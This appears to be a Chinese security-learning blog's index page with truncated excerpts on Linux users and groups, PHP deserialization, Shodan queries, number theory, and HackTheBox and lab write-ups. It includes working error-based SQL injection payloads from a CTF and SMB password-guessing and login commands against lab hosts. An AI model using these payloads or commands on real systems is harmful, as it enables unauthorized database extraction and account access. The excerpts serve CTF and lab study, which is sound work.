linux学习-用户,组
1groups#查看当前用户所在的用户组。
1groups root#查看root用户所在的用户组。
我们可以查看用户组配置文件
1cat /etc/group
比如只找出对组root的配置
1cat /etc/group | grep root
还可以通过id命令
1id root
用户称为UID,组称为GID
UID 是对一个用户的单一身份标识。组 ID(GID)则对应多个UID。
我们看这个图,
1id ubuntu代表看我ubuntu用户的ID以及所在组。前面UID表示我的用户ID,后面GID表示ubuntu用户所在组的gid
/etc/passwd目录详解从文件中我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:
1用户名:密码:UID: GID: 注释性描述:主目录:登陆shell
0是超级用户root的标识号,1-99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。
对于主目录:用户在登录到系统之后所处的目录。各用户对自己的主目录有读、写、执行( ...
php反序列化学习
123456789101112__construct()//创建新对象时调用__wakeup()//在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法,如果存在,则该方法会最先被调用,预先准备对象需要的资源。 __toString()//此方法用于定义一个类被当成字符串时该如何处理__destruct()//此函数会在 到某个对象的所有引用都被删除 或者 当对象被显示销毁时 执行。__invoke()//当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。__set()//给不可访问属性赋值时,__set()会被调用。__get()//读取不可访问属性值时,__get()会被调用。__unset()//对不可访问属性unset时,此方法会被调用。__call()//在对象上下文中调用一个不可访问方法时,__call()会被调用。__callStatic()//是在静态上下文中调用不可访问的方法时触发。__clone()//进行对象clone时被调用,用来调整对象的克隆行为。
内置类:SoapClient::__cal ...
计算机存储字节方式以及存储计算
由一道CTF题目引入今天的主题。
[ACTF新生赛2020]crypto-des本题给了一个压缩包,需要我们解密码才能打开。
1234567872143238992041641000000.000000,77135357178006504000000000000000.000000,1125868345616435400000000.000000,67378029765916820000000.000000,75553486092184703000000000000.000000,4397611913739958700000.000000,76209378028621039000000000000000.000000
这是我们需要解的密码,提示为
1To solve the key, Maybe you know some interesting data format about C language?
我们引入数据转字节的方式。因为我们输入的数据,在内存中是存放在对应地址,每个地址代表一个字节空间。
比如int a = 5;就是代表a所在的地址空间,以及向下,一共连续4个地址,都会 ...
shodan信息收集基本用法
我们可以安装在linux机器上
1sudo pip install shodan
当然前提是我们先注册好shodan并且去拿到它的api_key。
然后可以在python中运行shodan
1234import shodanapi = shodan.Shodan('api_key')info = api.host('ip')print(info)#即可
我们在搜索框中搜索,会更加方便,其语法如下:
123456789101112131415161718#搜索ip可以直接输入ipcountry:"CN"city:"ShangHai"hostname:.orghostname:"google"hostname:baidu.comorg:"alibaba"os:"Linux 2.6.x"port:22port:80net:"59.56.19.0/24"#设置子网product:"nginx"product:&qu ...
lab-hackthebox-Crocdile
首先我们连接到openvpn。
然后进行nmap扫描
1sudo nmap -sS -Pn -n --open -p- --min-rate 5000 10.129.155.254
扫描之后得到ftp和http端口开放,我们知道ftp是如下定义
12345The File Transfer Protocol (FTP) is a standard communication protocol used to transfercomputer files from a server to a client on a computer network. FTP users mayauthenticate themselves with a clear-text sign-in protocol, generally using a usernameand password. However, they can connect anonymously if the server is configured toallow it.
并且当我们匿名登陆成功时,会返回如下结果
1ftp-anon: ...
lab-hackthebox-Three-rce
首先连接到openvpn,然后进行nmap扫描
1234567891011121314sudo nmap -sS -n -p- --open --min-rate=5000 10.129.253.132得到结果Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 14:07 CSTStats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 21.50% done; ETC: 14:08 (0:00:11 remaining)Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 71.01% done; ETC: 14:08 (0:00:04 remaining)Nmap scan report for 10.12 ...
二次注入复习
[[RCTF2015]EasySQL对于本题,二次注入,就是先注入,后执行,第一次注册用户名的时候,把注入语句放进去,再修改密码的时候,它会执行我们的SQL语句,产生报错信息,即成功。注册的时候:
1test"^updatexml(1, concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))), 1)#
异或注入,在本题中,就是指,前面test”是0,只要后面查询到,整体就是1,就通过,所以可以报错。
查询出表明有flag,再查询列名
1test"^1, concat(0x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))), 1)
结果查出一个假的flag。
那我们也看一下这个flag字段中有什么:
1test"^updatexml ...
lab-11-windows-security
第一题首先我们连接到靶场vpn,通过先配置ssh config然后连接到ivy
12sshuttle -r ivy 10.176.132.0/24连接成功之后就到了对应的网段了。
之后使用nmap扫描靶机。
1nmap -sS -Pn -n --open 靶机ip
crackmapexec爆破smb密码
1crackmapexec smb 10.176.132.96 -u WIN-I622JU6TRIV -p spring#当然我这里直接猜出来了,应该使用字典。
之后使用smb连接
1smbclient //10.176.132.96/dev -U WIN-I622JU6TRIV%spring
这是基本连接格式要注意。
连接成功。
当然可以用以下来连接
1smbmap -H 10.176.132.96 -u guest -p "" -d . #这是采用默认目录和默认工作组来连接。
显示出共享目录权限和信息
然后
1smbclient //10.176.132.96/Users -U guest%"" -m SMB2
登陆即可。
二次剩余
Quadratic Residue我们说Bob如何来决定一个给定的数a是一个模p的二次剩余?我们说Alice计算$1222^2 (mod\ 1223)$可以只计算$611^2(mod\ 1223)$因为$a^2 \equiv (p-a)^2 (mod\ p)$所以,对于大于模数一半的数,我们都可以通过先前的$(p-a)^2(mod\ p)$来得到,这样就节省了一半时间。
::: PropositionProposition 1. 设p是一个奇素数,则有: (a)两个模p的二次剩余的积还是模p的二次剩余。 (b)两个模p的非二次剩余的积是模p的二次剩余。 (c)模p的二次剩余和模p的非二次剩余的积是模p的非二次剩余。:::
::: proofProof.我们其实可以很简单的证明(a),(b)但是我们这里用了一个非常巧妙的办法同时证明三个条件。假设g是模p的原根。这也就意味着g的幂$1,g,g^2,\cdots,g^{p-2}$都是互不相同的。那么g的多少次幂可以生成一个二次剩余呢?显然当$m = 2k$时,m是偶数,所以$g^m \equiv (g^k)^2$是一个平方数,可以生成二次剩 ...
离散对数
离散对数第一个被Diffie和Hellman公布的公钥密码系统就是基于离散对数的。在接下来的内容,首先说明我们会继续使用记号$\mathbb{F}_p$或者是$\mathbb{Z}/p\mathbb{Z}$来表示p域,用$\mathbb{F}_p$表示时我们使用等号,用$\mathbb{Z}/p\mathbb{Z}$表示时我们使用同余号。首先我们复习原根,我们知道对于一个大素数p,存在原根g,使得$\mathbb{F}_p$中的每个非零元素都由g的幂产生。等价地,如下列表:
1, g, g^2, g^3, \dots, g^{p-2} \in \mathbb{F}_p^*是$\mathbb{F}_p^*$在某顺序下的所有元素。
::: DefinitionDefinition 1.我们设g是$\mathbb{F}p$的一个原根并且设h是$\mathbb{F}_p$的一个非零元素。那么解决离散对数问题就是去找到一个指数x使得 g^x = h成立。x就叫做h相对于g的离散对数,记为$\log{g}(h)$。:::
::: RemarkRemark 2.在数论中,离散对数也被称作索引,记为$ ...



